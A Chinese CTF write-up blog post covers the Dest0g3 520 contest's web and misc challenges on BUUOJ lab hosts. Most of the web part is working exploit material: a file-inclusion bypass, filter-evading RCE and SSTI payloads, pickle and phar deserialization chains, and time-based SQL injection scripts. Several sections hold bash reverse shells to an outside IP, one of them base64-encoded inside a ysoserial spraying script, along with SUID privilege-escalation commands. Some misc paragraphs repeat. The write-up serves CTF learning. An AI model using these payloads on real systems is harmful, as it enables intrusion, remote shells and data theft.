BUU Dest0g3 520迎新赛 WEB writeup

最新推荐文章于 2022-07-25 16:24:56 发布
最新推荐文章于 2022-07-25 16:24:56 发布
阅读量2k 收藏 12
点赞数 3
文章标签： php 安全 ctf web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43610673/article/details/125038199
版权

WEB

phpdest

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
}

require_once 绕过不能重复包含文件的限制

/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

image-20220521233942302

EasyPHP

 <?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

搞了个自定义错误处理函数，让他报错就行，下面有个字符串拼接，传值数组即可

image-20220522000511901

SimpleRCE

 <?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

phpinfo得到版本为7.2，可用($a)();这样的方法来执行动态函数，取反+通配符绕过

import requests

data = "aaa=(~%8C%86%8C%8B%9A%92)('/?in/?at /fla?');"

headers = {'Content-Type':'application/x-www-form-urlencoded'}
rep = requests.post(url="http://5a8a9110-f92c-4974-a512-868fd16a163a.node4.buuoj.cn:81/", data=data, headers=headers)
print(rep.text)

image-20220527145606699

funny_upload

后缀名不能是php，前后端都有校验，文件内容过滤了<?标签

.htaccess配合伪协议绕过内容过滤，并使得jpg解析

Content-Disposition: form-data; name="file"; filename="hack.jpg"
Content-Type: image/jpeg

PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=hack.

phpinfo可见disable_functions

system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

读文件的没过滤，直接盲打/flag 懒得bypass了

image-20220522234046293

EasySSTI

. ' " [ _
pop getitem dict builtins request globals system import subclasses class init eval args mro os (空格)

image-20220522015229005

过滤了好多关键字，常用的request也没了，只能set变量得到关键字绕过，看着和ctfshow web371 差不多 搜到这篇文章的payload直接能打空格用%0a代替就行 [2021 MAR & DASCTF]baby_flask

burp发两次包就行 第一次设置变量 第二次执行

{%%0aset%0azero%0a=%0a(self|int)%0a%}{%%0aset%0aone%0a=%0a(zero**zero)|int%0a%}{%%0aset%0atwo%0a=%0a(zero-one-one)|abs%0a%}{%%0aset%0afour%0a=%0a(two*two)|int%0a%}{%%0aset%0afive%0a=%0a(two*two*two)-one-one-one%0a%}{%%0aset%0athree%0a=%0afive-one-one%0a%}{%%0aset%0anine%0a=%0a(two*two*two*two-five-one-one)%0a%}{%%0aset%0aseven%0a=%0a(zero-one-one-five)|abs%0a%}{%%0aset%0aspace%0a=%0aself|string|min%0a%}{%%0aset%0apoint%0a=%0aself|float|string|min%0a%}{%%0aset%0ac%0a=%0adict(c=aa)|reverse|first%0a%}{%%0aset%0abfh%0a=%0aself|string|urlencode|first%0a%}{%%0aset%0abfhc%0a=%0abfh~c%0a%}{%%0aset%0aslas%0a=%0abfhc%((four~seven)|int)%0a%}{%%0aset%0ayin%0a=%0abfhc%((three~nine)|int)%0a%}{%%0aset%0axhx%0a=%0abfhc%((nine~five)|int)%0a%}{%%0aset%0aright%0a=%0abfhc%((four~one)|int)%0a%}{%%0aset%0aleft%0a=%0abfhc%((four~zero)|int)%0a%}{%%0aset%0abut%0a=%0adict(buil=aa,tins=dd)|join%0a%}{%%0aset%0aimp%0a=%0adict(imp=aa,ort=dd)|join%0a%}{%%0aset%0apon%0a=%0adict(po=aa,pen=dd)|join%0a%}{%%0aset%0aso%0a=%0adict(o=aa,s=dd)|join%0a%}{%%0aset%0aca%0a=%0adict(ca=aa,t=dd)|join%0a%}{%%0aset%0aflg%0a=%0adict(fl=aa,ag=dd)|join%0a%}{%%0aset%0aev%0a=%0adict(ev=aa,al=dd)|join%0a%}{%%0aset%0ared%0a=%0adict(re=aa,ad=dd)|join%0a%}{%%0aset%0abul%0a=%0axhx~xhx~but~xhx~xhx%0a%}{%%0aset%0aini%0a=%0adict(ini=aa,t=bb)|join%0a%}{%%0aset%0aglo%0a=%0adict(glo=aa,bals=bb)|join%0a%}{%%0aset%0aitm%0a=%0adict(ite=aa,ms=bb)|join%0a%}{%%0aset%0apld%0a=%0axhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0a%}{%%0afor%0af,v%0ain%0a(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0a%}{%%0aif%0af%0a==%0abul%0a%}{%%0afor%0aa,b%0ain%0a(v|attr(itm))()%0a%}{%%0aif%0aa%0a==%0aev%0a%}{{b(pld)}}{%%0aendif%0a%}{%%0aendfor%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}

image-20220527143848926

middle

Python Pickle反序列化

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)

#__init__.py
import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

限定了只能反序列化config类，而且调用的方法或属性中不能含有__

不过题目给了个后门函数，反序列化直接调用即可，命令执行还有回显太贴心了

config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return

image-20220523002556126

image-20220523002608298

PharPOP

 <?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class air{
    public $p;

    public function __set($p, $value) {
        $p = $this->p->act;
        echo new $p($value);
    }
}

class tree{
    public $name;
    public $act;

    public function __destruct() {
        return $this->name();
    }
    public function __call($name, $arg){
        $arg[1] =$this->name->$name;

    }
}

class apple {
    public $xxx;
    public $flag;
    public function __get($flag)
    {
        $this->xxx->$flag = $this->flag;
    }
}

class D {
    public $start;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->start == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".jpg";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->start == 'r') {
            waf($data);
            $f = file_get_contents($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

class banana {
    public function __get($name){
        return $this->$name;
    }
}
// flag in /
if(strlen($_POST[1]) < 55) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

throw new Error("start");
?>
Fatal error: Uncaught Error: start in /var/www/html/index.php:80 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 80

链子简单看一下就行

image-20220522234335262

<?php
class air{
    public $p;
}

class tree{
    public $name;
    public $act;
}

class apple {
    public $xxx;
    public $flag;
}


$a = new tree;
$b = new apple;
$c = new air;
$d = new tree;
// $d->act='FilesystemIterator';
// $c->p = $d; 
// $b->xxx = $c;
// $b->flag = 'glob:///*f*';
// $a->name = $b;
$d->act='SplFileObject';
$c->p = $d; 
$b->xxx = $c;
$b->flag = "/fflaggg";
$a->name = $b;
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();

链子末端是个new一个类，打原生类就行，用glob伪协议配合FilesystemIterator类读flag文件名，然后SplFileObject类读文件

主要是有个throw new Error("start");要绕过，不然__destruct()无法触发，链子开头就废了

利用强行GC（ 垃圾处理机制）来触发__destruct方法

a:2:{i:0;O:4:"tree":0:{}i:0;i:0;}
//或者
a:2:{i:0;O:4:"tree":{}i:0;N;}

传值以及生成的phar文件都需要改

image-20220522235701750

生成的phar文件改完还要修sha1校验值

# -*- coding: utf-8 -*-
from hashlib import sha1
f = open('phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixd_phar.phar', 'wb').write(newf) # 写入新文件

过滤的是类名，hex绕过不行了，使用gzip压缩phar绕过waf函数过滤，原理详见文章从虎符线下CTF深入反序列化利用

image-20220522235432554

还有一个坑点就是，文件上传容易有编码会变，要urlencode一下

from urllib.parse import quote
import requests

with open('fixd_phar.phar.gz','rb') as f:
    ff=f.read()

headers = {'Content-Type':'application/x-www-form-urlencoded'}
rep = requests.post(url="http://f4d5f70c-40fd-4d98-b794-3172f01132fb.node4.buuoj.cn:81/", data='1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}&0='+quote(ff), headers=headers)
print(rep.text)

image-20220522223118406

image-20220522223057921

ezip

基本逻辑就是只能上传zip，每次上传是不同的子目录（随机数无法爆破），上传文件名有 … 的就被提示hacker 然后上传的zip不能有目录 文件名不能有 …/ 上传zip解压失败也会告知文件目录

上传畸形zip，即解压到一半就失败的zip，进行绕过

压三个php到一个ZIP然后010 Editor 修改最后一个文件名为/ 改成系统中不允许的文件名，之前改CRC的办法不行了，php的ZipArchive还是正常解压，改内容的话，整个文件报错 一个文件都出不来

image-20220527134614510

上传提示失败就行了 直接弹个shell

<?php system("bash -c 'bash -i >& /dev/tcp/118.xxx.xxx.xxx/7999 0>&1'");?>

image-20220527135251237

image-20220527135509229

cat /flag提示无权限，打提权，debian10 内核版本好像没啥能打的洞

image-20220527135713260

考虑之前新出poc的pkexec提权漏洞 https://github.com/arthepsy/CVE-2021-4034 打一发没反应 pkexec --version 发现压根没装

考虑suid提权

find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

先用前面两命令小范围搜 从根目录开始的话范围太大了 靶机性能没那么强 要搜好久。。。。

image-20220527140211442

nl有权限 直接 nl /flag 就行

image-20220527140318179

NodeSoEasy

npm查了下源码包依赖的漏洞，啥也没有，最新的CVE-2022-29078是ejs 3.16的这里是3.17已修复版本

源码很明显一个原型链污染，试了下opts.outputFunctionName那条链子，已经被修复了，加了变量名的校验

image-20220525144337816

找一下ejs.js里面还有那些src变量拼接的地方

image-20220525144308567

网上搜一下看看有没有现成的payload https://www.anquanke.com/post/id/236354 本地调试一下 改一下文章中的payload就行

image-20220525144629128

image-20220525144655286

然后直接postman发包就行

{
    "__proto__": {
        "client": true,
        "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/118.31.76.240/7999 0>&1\"');",
        "compileDebug": true
    }
}

image-20220525144238912

image-20220525144147175

Really Easy SQL

就一个登录界面 输入啥都没反应 查看源码 说是一个钓鱼网站 那应该就是insert注入 纯记录的 布尔盲注不行了 时间盲注即可

给了黑名单，用benchmark(2999999,md5('test'))代替sleep 时间盲注直接梭 空格用 %0a 或者括号包裹代替

$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');

import time

import requests

url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''

for i in range(1,60):
    for j in string:
        time.sleep(1)
        #payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        try:
            headers = {'Content-Type':'application/x-www-form-urlencoded'}
            requests.post(url="http://17fa2a25-fc60-4e0b-937b-18edcec93870.node4.buuoj.cn:81/index.php", data=payload, headers=headers, timeout=1.5)
        except:
            res = chr(j)+res
            print(res)
            break

image-20220524214720358

image-20220524220735358

image-20220524230346556

easysql

应该是多了点啥过滤吧，试了下上一题的脚本，还能用，直接梭

import time

import requests

url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''

for i in range(1,60):
    for j in string:
        time.sleep(0.5)
        #payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        try:
            headers = {'Content-Type':'application/x-www-form-urlencoded'}
            requests.post(url="http://367c6ac9-727f-4f31-ae4b-890a117a4056.node4.buuoj.cn:81/index.php", data=payload, headers=headers, timeout=1.5)
        except:
            res = chr(j)+res
            print(res)
            break

EzSerial

登录发现cookie user是base64的，符合加密后序列化的开头特征

直接打cc链没反应，发包一直有setcookie

猜测不在这触发，尝试/user 或者 /admin路由

image-20220525114345419

image-20220525114316424

image-20220525114332046

抓包用burp 插件测一下

image-20220525114528933

cc5直接打就行，https://ares-x.com/tools/runtime-exec/，编码下反弹shell payload

image-20220525114645273

image-20220525114104113

或者直接写脚本盲打

#jdk1.8 win
from urllib.parse import quote
import requests
import os
import base64
import time

#payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1']

for payload in payloads:
	command = os.popen('java8 -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > '+payload+'.txt')
	command.close()
	cmd = os.popen('certutil -f -encode '+payload+'.txt '+payload+'_encode.txt')
	cmd.close()
	#result = result.replace('\n','')

	with open(payload + '_encode.txt','r') as f:
		ff=f.read()

	ff=ff.replace('\n','')
	ff=ff.replace('-----BEGIN CERTIFICATE-----','')
	ff=ff.replace('-----END CERTIFICATE-----','')
	print(payload+'\n')
	cookies = {'JSESSIONID':'27F2790D6C4FB2CDC86DB5A8011DB28A','user':ff}

	rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/", cookies=cookies)
	
	#time.sleep(2)
	print(rep.text)

#jdk1.8 linux
from urllib.parse import quote
import requests
import os
import base64
import time

payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1']

for payload in payloads:
    command = os.popen('java -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" | base64 -w 0')
    result = command.read()
    command.close()
    #result = result.replace('\n','')
    print(result)

    if result != "":
        open(payload + '_intruder.txt', 'w').write(result + 'n')


for payload in payloads:
	with open(payload + '_intruder.txt','r') as f:
	    ff=f.read()

	print(payload+'\n')
	headers = {'Content-Type':'application/x-www-form-urlencoded'}
	cookies = {'JSESSIONID':'98C504A30CFBA237247087E5F7D925D7','user':ff}

	rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/",  headers=headers, cookies=cookies)
	
	#time.sleep(2)
	print(rep.text)

MISC

Welcome to fxxking

签到

Pngenius

foremost 分离图片 zip ，zip有密码包含，爆破无效，考虑lsb隐写

image-20220526105738825

image-20220526105757670

EasyEncode

压缩包有密码 不是伪加密 尝试爆破

image-20220527144915087

里面就是编码套娃

image-20220526105914309

image-20220526105925557

image-20220526105933700

image-20220526105940968

你知道js吗

下载的文件，无法直接打开用解压软件查看发现word结构，改后缀docx

image-20220526110056262

字体隐写，换个正常字体就行，后面就是编码套娃

image-20220526110132662

image-20220526110147711

image-20220526110159788

百度到去这个网站解码http://tool.bugku.com/brainfuck/?wafcloud=1

image-20220526110213780

image-20220526110238260

)]

EasyEncode

压缩包有密码 不是伪加密 尝试爆破

image-20220527144915087

里面就是编码套娃

image-20220526105914309

image-20220526105925557

image-20220526105933700

image-20220526105940968

你知道js吗

下载的文件，无法直接打开用解压软件查看发现word结构，改后缀docx

image-20220526110056262

字体隐写，换个正常字体就行，后面就是编码套娃

image-20220526110132662

image-20220526110147711

image-20220526110159788

百度到去这个网站解码http://tool.bugku.com/brainfuck/?wafcloud=1

image-20220526110213780

image-20220526110238260

Arnoldqqq
关注
  • 3
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUU 论坛的编辑器163Editor
09-21
BUU 论坛的编辑器DianUbb.rar
Dest0g3 520迎新赛（上web）
qq_62046696的博客
07-08 324
打开界面看见require_once，自然想到require然后include，确定了这是一道文件包含的题目， 然后看见第三行 require_once已经包含了，flag.php,最后require_once肯定也是包含flag.php，但是这个once只能包含一次所以我们就要绕过，想了一下用filter伪协议读取flag。php试一下 发现仍然是原界面，没任何回显 重复链接绕过 base64解码即可打开界面代码如下 构建数组报错POST：ctf[]=1,看见fl4g后面有点连接符，因为下面
Dest0g3 520迎新赛 Writeup
末初的CSDN博客
05-29 1465
文章目录WEBphpdestMISCWelcome to fxxking DestCTFPngeniusEasyEncodeStrangeTrafficcodegame WEB phpdest php源码分析 require_once 绕过不能重复包含文件的限制：https://www.anquanke.com/post/id/213235 payload ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/se
Dest0g3 520迎新赛web部分
m0_62422842的博客
05-28 524
前言 以为迎新赛比较简单，谁知一点也不简单，也可能是我太菜了。正好借这次比赛可以学到很多东西。 phpdest 题目代码很简便，一看就知道是文件包含。 题目核心就是这个require_once函数。它与require一样都是包含函数，作用和语法也基本相同，唯一的区别就是php会检查该文件是否已经被包含过，如果该文件被包含过，则不会再次包含。这是这题最头疼的地方，用伪协议读取不出来可以说明该文件已经被包含了。那么接下来就要绕过该限制了。 绕过不能重复包含文件的限制 php的包含机制就是将已包含
buuctf:Dest0g3 520迎新赛 web EasySSTI
qq_29060627的博客
06-10 613
python flask ssti绕过过滤注入 ctf web
Dest0g3 520迎新赛
qq_52988816的博客
06-10 298
这两天期末，发点存货 phpdest 文件竞争 EasyPHP 数报错然后输出 flag ctf[]=123 另一种方法 法二 最开始考虑的是无字母 rce，但发现或和异或都被 ban 了所以考虑—url取反绕过 funny_upload 对文件类型进行了检测，改为jpg文件后，又对文件内容进行了检测不能有...
1ncrd#Study-Record#BUUCTF[第二章 web进阶]XSS闯关1.md
08-10
一些关于xss的payload
Majin Buu Top HD Anime New Tabs Theme-crx插件
03-15
每次打开一个新选项卡，您将获得Majin Buu提供的不同高清壁纸 这个新主题包括时钟等等。 魔鬼的布欧（the devil，Buu），日本动漫《七龙珠》中的义与恶的角色，是《七龙珠》综合实力最强的BOSS。 这个名字来自电影...
POSN:POSN-BUU的源代码
04-01
POSN POSN-BUU的源代码
The HMT effects on the nucleon collective flows in BUU transport model
03-14
基于BUU模型利用集体流研究HMT效应，张芳，，基于半经典的BUU输运模型,我们利用中-质微分流、中子-质子流之差以及质子椭圆流研究了核内核子动量分布的高动量尾巴（HMT）效应。研
Dest0g3 520迎新赛 ｜ root 新生赛
qq_32284207的博客
06-01 686
题解 费马分解 babyAES 题目 题解 ezStream 题目 题解 爆破求seed2 求flag ezDLP 题解 sage离散对数 Mr.Doctor 题目 题解 seed1、seed2 seed flag Bag 题目 题解 学习参考 学习参考 FourThousandRSA 题目 题解 NSSCTF原题，脚本小子🤔（事后具体复现） misc EasyEncode 爆破压缩包密码100861 摩斯码 hex py print() url base6
Dest0g3 520迎新赛Misc Pngenius WriteUp
weixin_46025603的博客
05-27 316
开局一张图片，老规矩binwalk分析一波。 binwalk 11.png 隐写了flag.txt，flag应该就在里面。 binwalk -e 11.png 把文件提取出来 压缩包先看看是不是伪加密，不然上下其手一番后，发现他是伪加密=_= 看来是真加密，下面想办法得到压缩包密码。 能开锁的除了钥匙，还有锤子呀_ 暴力破解一下，看着逐渐诡异的payload。。。此路不通，换个方法 那密码应该就在题目给的文件里。 再回头看看开局的图片，丢进stegsolve看看有没有LSB隐写 找到你啦！ We.
Dest0g3 520迎新赛web&misc
weixin_63231007的博客
07-19 1274
Destog3 520迎新赛web&misc题目复现
Dest0g3 520迎新赛 Misc EasyEncode
weixin_46025603的博客
05-27 383
拿到压缩包，先看看是不是伪加密 真加密 字典跑一下 密码100861 摩斯密码解密一下 这么多重复的5C753030…！数学专业学生的DNA动了啊，这不16进制吗？ 但是这么多重复的，这串密文解密后也还是有这么多重复的东西。什么加密方式会产生重复的东西呢？那不就是unicode吗？ 上脚本 cro_16 = input("请输入一个16进制字符串数组：") start = 0 cro_16_item = cro_16.split("5C") for j in cro_16_item[1:]: .
# Dest0g3 520迎新赛（更新中）
xiao_he0123的博客
07-25 335
Dest0g3 520迎新赛
Dest0g3 520迎新赛WP
Praise_me的博客
05-29 842
Dest0g3 520迎新赛部分题目Write_up。
Dest0g3 520迎新赛 个人复现Writeup
m0_61596829的博客
06-01 1478
Dest0g3 520迎新赛 Dest0g3首次招新啦！ Dest0g3 Team现逐步发展到各大高校及安全公司均有成员分布，在过去的半年里先后取得L3HCTF第十、SCTF第六及SUSCTF第四的优异成绩。 首届Dest0g3 520迎新赛更加注重CTFer的基础知识面掌握程度，由易到难，适合各学习阶段选手参加，纯萌新水准。 Dest0g3期待更多新生力量的加入，如有意向请在赛后提交wp与简历，或联系@Dest0g3 Team （QQ：1115230222） 比赛时间：2022.5.20 10:
Dest0g3 520迎新赛 writeup by 树木
JEWSWS的博客
05-29 3439
信息 用户名：树木敲阔爱 类型：分榜前三 排名：25 MISC Welcome to fxxking DestCTF 关注微信公众号，得到flag Dest0g3{W31c0m3_t0_DestCTF2022!} Pngenius 题目是一张PNG图片，很难不让人联想到隐写术，我们使用stegsolve打开 在R0G0B0发现了Password for zip，猜测图片包含ZIP，使用foremost进行分解 分解后发现有密码，使用刚刚解出来的密码解压，得到flag
2022dasctf x su 三月春季挑战赛
最新发布
03-16
非常感谢您的关注和参与，2022年的DASCTF x SU三月春季挑战赛将会是一场精彩的比赛。我们将会为参赛者提供丰富多彩的挑战，让大家可以在比赛中不断提升自己的技能和能力。希望您能够积极参与，共同创造一个充满挑战和乐趣的比赛。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值